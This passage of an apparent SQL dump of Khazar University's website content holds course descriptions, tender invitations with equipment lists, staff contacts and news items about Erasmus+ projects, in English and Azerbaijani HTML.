methodology. The\r\ncourse gives detailed information on comparative-historical, observational,\r\ndescriptive, experimental, mathematical, structural, areal and formal methods.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 604: Text\r\nLinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: None</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Organization of topic-comment structure, modality, thematic\r\nstructure of sentences factors such as meaning, discourse genre,\r\nsocial/pragmatic function; emphasis on syntactic units and structural\r\nproperties of words/structures under consideration.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>LING 607: Linguistics\r\n(Trends and Methods) (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING 215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Methodological criteria of the linguistic schools and\r\napplicability of the methods advanced by them (shortages and advantages in\r\nphonology, morphology, syntax, semantics and pragmatics); word, phrase,\r\nsentence and discourse level; behavior of language items in correspondence and\r\nother type texts. Trends in linguistics: American structuralism, Copenhagen\r\nGlossematics and Prague Functionalism, their basic theoretical premises and\r\nmethods.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 609: Natural\r\nLanguage processing (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Survey of recent works on natural language processing.\r\nExtensions of basic language processing techniques to natural language\r\nprocessing. Recent models of syntactic, semantic and discourse analysis; brain\r\nbases for language modeling.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 611:\r\nLinguistic Theory (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Language and linguistics theories and methods of\r\nlinguistics with emphasis on structure of Modern Standard English; phonology,\r\nmorphology, syntax, semantics and pragmatics. Crucial problems in structure of\r\nEnglish considered from such theoretical frameworks as sign-oriented\r\nlinguistics, functional linguistics, Discourse Grammar and Cognitive\r\nLinguistics; Discussion on formal linguistic approaches.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 613: Cognitive\r\nLinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Introduces the study of human cognition. Topics\r\ninclude perception, attention, memory, knowledge representation, language,\r\nproblem solving, and reasoning. Considers the real-world implications of\r\nlaboratory findings.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 614: Linguistic\r\nTypology (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n607</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">An integrated approach to General Linguistics with the\r\nfocus on Typology synthesizing, structural aspects and diachronic studies, both\r\napplied to Ural- Altaic. Mode of diachronic comparison is proposed which shares\r\nwith synchronic typology the attribute of generality. Practical and approach\r\nsystem-based cover all major topics of general linguistic typology.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong><strong></strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 615:\r\nTranslation: Text Analysis (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING 608</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provides the student with tools and\r\napproaches to a comprehensive pre-translation analysis of authentic spoken and\r\nwritten discourses in their relevant contexts.<strong>­­­­­­­­­­­­­­­­­­­­­­­­­­­­</strong></p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>TESL 601:\r\nPrinciples of TESL (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Current approaches, methods, and techniques in\r\nteaching English as a foreign/second language at varied proficiency level.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>TESL 602: Teaching\r\nMaterials and Textbook Compiling (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Supervised classroom experience selection and dosing\r\nof teaching materials; advanced pronunciation and methods of teaching English\r\npronunciation; compiling of text books Development of skill required to\r\ncritique the validity of research designs.</p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>TESL 603: Curricula\r\nand Program Development</em></strong><em>&nbsp;</em><strong><em>(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Curricular and program development, class size and\r\nclassroom management problems, teacher and language learning; emphasis upon\r\nsecond language acquisition and use.</p>'),(5248,3042,'en','Invitation for Tender','On behalf of Khazar University, Baku, Azerbaijan, we invite you to submit...','<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>Invitation\r\nfor Tender</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\">Dear\r\nSir/Madam,</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">On behalf of Khazar University, Baku, Azerbaijan, we invite you to submit a\r\ntender in relation to provision of equipment for enhancement of research\r\nopportunities.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The vendor is required to provide\r\nthe attached equipment.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">The tender shall be valid until at least 20<sup>th</sup> of March 2018, 1 month\r\nfrom the date of the tender.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Any\r\nqueries regarding this tender are to be referred to the contact person Shahin\r\nIsayev - <a href=\"mailto:shisayev@khazar.org\">shisayev@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><br></p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>Equipment</strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"414\">\r\n  <p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>Name</strong></p>\r\n  </td>\r\n  <td width=\"102\">\r\n  <p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>Quantity</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Software\r\n  video presentation</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1\r\n  item</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Computer</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">6\r\n  items</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Laptop\r\n  computers</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3\r\n  items</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">4</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Video-projectors</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3\r\n  items</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">5</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Visio-conference\r\n  equipment</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1\r\n  item</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(6340,3604,'en','Working Group on Student Involvement is on a business trip','On November 2 and 3, 2018, Prof. Fuat Rasulov, Head of Working Group on Student...','<p>On November 2 and 3, 2018, Prof. Fuat Rasulov, Head of Working Group on Student Involvement of Khazar University, and Alovsat Amirbayli, Director for Public Relations and Media, were on a business trip to Shaki, Zagatala, Ganja and Shamkir.</p><p>On the first day of the trip, representatives of Khazar University had a meeting with associates of the Education Department of Shaki. Alovsat Amirbayli, Director for Public Relations and Media, made a speech and conveyed the best greetings of Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, and administration of the University to the participants. A.Amirbayli presented Sudaber Ismayilova, Head of Education Department of Shaki, with a gift and “Friend of Khazar University” award. On the same day, the delegation of Khazar University met with Shohrat Ibadova, Head of Shaki Tutoring Center.</p><p>The following day, the delegation had a meeting at “Modern” Tutoring Center in Zagatala and another center in Ganja. The delegation gave wide information about Khazar University and had an agreement on collaboration.</p>'),(6262,3565,'en','Staff','Staff','<p><img src=\"http://www.khazar.org/files/image/CABIR%20KHALILOV.jpg\" style=\"border:0px  #000000;width:150px;height:174px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\"><strong>Jabir Z.&nbsp;Khalilov</strong></a><em> -&nbsp;</em><strong>Director</strong><strong></strong></p><p><strong>S.J.D.,&nbsp;Associate Professor</strong><br></p><p>PhD&nbsp;in Juridical Sciences (Baku State University, Azerbaijan)</p><p><strong>Phone</strong>: (+994&nbsp;12)&nbsp;421 79 16&nbsp;(258)</p><p><strong>E-mail</strong>: <a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/social/1/cv_vali.pdf\"><img src=\"http://www.khazar.org/files/letters/v_k.jpg\" style=\"border:0px  #0000ee;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:170px\">Valida S.&nbsp;Karimova</a>&nbsp;-&nbsp;</strong><strong>Coordinator&nbsp;&nbsp;</strong></p><p>PhD&nbsp;candidate&nbsp;in Germanic languages (Khazar University, Azerbaijan)</p><p>MA* in Linguistics, Honor diploma (Khazar University, Azerbaijan)</p><p><strong style=\"font-weight:bold\">Phone</strong><strong>: </strong>(+994&nbsp;12)&nbsp;421 79 16&nbsp;(213)  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:vkerimova[at]khazar.org\">vkerimova[at]khazar.org</a></p><p><br></p><p><strong>Khazar University (Neftchilar Campus)</strong></p><p>41 Mehseti Str., AZ1096</p><p>Baku, Azerbaijan</p><img src=\"http://www.khazar.org/files/social/thumbnail_15_10_14_15_06_04_khazar_location.jpg\" style=\"width:500px;height:243px;margin:7px;float:left\">'),(5250,3043,'en','Seminar-training on “Economic and social aspects of migration: challenges and migration policy”','A seminar-training on “Economic and social aspects of migration: challenges...','<p>A seminar-training on “Economic and social aspects of migration: challenges and migration policy” is to be held, within Erasmus + “Promoting migration education at universities” project (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP), with organisational support of School of Economy and Management, Center for Migration Research, and Center for Development at Khazar University on March 30, 2018. The training will be run by Dr. Oana Driha and Dr. Maria-Jemenez Delgadodur, the representatives of Alicante University, Spain. The training will mainly deal with migration and economic development, social and cultural aspects of migration, migration and education. Moreover, the aim of the seminar-training is to disseminate information on the above-mentioned issues among the universities of Azerbaijan.</p><p>Those interested are welcome to participate in the training. Please register via email until March 19 to participate in the training.</p><p>For further information, please contact Ulkar Bayramova, staff member of Development Centre, Khazar University (<strong>E-mail:&nbsp;</strong><a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>.&nbsp;<strong>Phone:</strong> (012) 421-10-93 (ext. 249)).</p>'),(5251,3044,'az','Hamlet İsaxanlının yubileyi mediada','Xəbər verildiyi kimi, 2018-ci il martın 13-də Xəzər Universitetinin təsisçisi...','<p>Xəbər verildiyi kimi, 2018-ci il martın 13-də Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlının 70 illik yubileyi ilə əlaqədar olaraq Şəki Şəhər İcra\r\nHakimiyyətinin dəstəyi ilə Şəki Dram Teatrında Ədəbi-Bədii gecə keçirilmişdir.\r\nBu haqda respublikanın bir sıra KİV-ləri (ARB TV, İctimai TV, Lider TV, AzərTAc\r\nvə s.) xəbər yaymışdır.</p>\r\n<p>Tədbir haqqında bu linklər vasitəsilə daha geniş məlumat\r\nalmaq olar:</p>\r\n<p><a href=\"http://sheki-ih.gov.az/news/1446.html\">http://sheki-ih.gov.az/news/1446.html</a>;</p>\r\n<p><a href=\"https://sheki.arbtv.az/az/news/1573\">https://sheki.arbtv.az/az/news/1573</a>.</p>'),(5252,3044,'en','Media coverage of Hamlet Isakhanli\'s jubilee','As it was reported, a literary night dedicated to Professor Hamlet Isakhanli’s...','<p>As it was reported, a literary night dedicated to Professor Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, 70<sup>th</sup> jubilee was organized at Sheki State Drama Theater with support of Sheki city Executive Power on March 13, 2018. National news and broadcasting media (ARB TV, Ictimai TV, Lider Tv, AzerTAc, etc.) covered the news.</p><p>Links for further information:</p><p style=\"background:undefined \"><a href=\"http://sheki-ih.gov.az/news/1446.html\">http://sheki-ih.gov.az/news/1446.html</a>;</p><p><a href=\"https://sheki.arbtv.az/az/news/1573\">https://sheki.arbtv.az/az/news/1573</a>.</p>'),(6025,3440,'en','Regional conference within Erasmus+ PAWER to be held','On October 5, 2018, Khazar University will organize a one-day regional conference within...','<p><img src=\"http://www.khazar.org/files/admin/news-events/roll-up_pawer.jpg\" style=\"border:0px  #000000;float:left;width:250px;height:581px;margin-right:7px\">  On October 5, 2018, Khazar University will organize a one-day regional conference within Erasmus+ PAWER project. Ministry of Education of the Republic of Azerbaijan, Khazar University, Baku Engineering University, Georgian universities - Ilia State University, Akaki Tsereteli State University, Batumi State University, as well as representatives of the Ministry of Education, Culture, Sports, Science and Technology of Georgia will attend the conference.</p><p>The aim of the conference is to inform the public about the achievements of the project.</p>'),(6026,3441,'az','Erasmus+ PAWER layihəsi çərçivəsində təlimlər keçiriləcək','2018-ci il sentyabrın 28-i saat 16:00-da Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə Erasmus+ PAWER...','<p>2018-ci il sentyabrın 28-i saat 16:00-da Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə Erasmus+ PAWER layihəsi çərçivəsində universitetin departamentlərinin əməkdaşları üçün “Beynəlxalq Kredit Mübadiləsi və Kreditlərin Tanınması Proseduru” adlı və 2018-ci il sentyabrın 29-da isə “Xəzər Universitetinin Kredit Mübadiləsi Siyasəti” adlı təlimləri keçiriləcək.</p><p>Təlimin məqsədi Bolonya prosesi, AKTS (ECTS), tələbə/əməkdaş mübadiləsi müqavilələri, mübadilə zamanı və sonrasında dəstək, mübadilə siyasəti və s. daxil olmaqla, tələbələr və işçilərin xarici universitetlərə təhsil mübadiləsinə dair mühüm məsələləri və Xəzər Universitetinin bu prosesdə rolunu və görüləcək işləri çatdırmaqdan ibarətdir.</p>'),(6027,3441,'en','Trainings to be held within Erasmus+ PAWER','On an organizational support of Center for Development of Khazar University, a training “International Credit Exchange...','<p>On an organizational support of Center for Development of Khazar University, a training “International Credit Exchange and Credit Recognition Procedure” will be held on September 28, 2018, at 16:00, for the university associates. Moreover, a training “Credit Exchange Policy of Khazar University” will be held on September 29, 2018.</p><p>The aim of the trainings is to inform the associates about the Bologna process, ECTS, student/teacher exchange contracts, support during and after exchange process, exchange policy, as well as other important issues such as education abroad opportunities for students and instructors and the role of Khazar University in this process.</p>'),(6028,3438,'az','Tenderə dəvət','Azərbaycanın Xəzər Universiteti adından sizi PETRA ERASMUS+ layihəsi çərçivəsində Təlim və Tədris Mərkəzinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\">Xanımlar və cənablar!</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Azərbaycanın Xəzər Universiteti adından sizi PETRA ERASMUS+ layihəsi\r\nçərçivəsində Təlim və Tədris Mərkəzinin yaradılması üçün avadanlıqların təmin\r\nedilməsi tenderində iştirak etməyə dəvət edirik.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Aşağıda göstərilmiş avadanlıqların satıcılardan alınması tələb olunr.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tender 2018-ci il oktyabrın 20-dək\r\n–&nbsp;tenderin elan olunmasından sonra 1 ay müddətində qüvvədədir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Tenderlə bağlı sualları Şahin İsayevə verə bilərsiniz –<a href=\"mailto:shisayev@khazar.org\">shisayev@khazar.org</a>.&nbsp;</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><br></p>\r\n<p style=\"padding-left: 240px;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;background:white\"\"=\"\"><strong>Avadanlıqlar</strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"414\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>Ad</strong></p>\r\n  </td>\r\n  <td width=\"102\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>Miqdar</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Masaustü\r\n  kompüterlər (HP Compaq 500B WU202EA) </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">5\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Data/video\r\n  proyektor</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">VHS\r\n  portativ proyeksiya ekranı</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">4</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kabel\r\n  TV əlaqəsi</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">5</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Rəqəmsal\r\n  və video kamera avadanlığı</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">6</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">SMART\r\n  Lövhələr</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">2</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 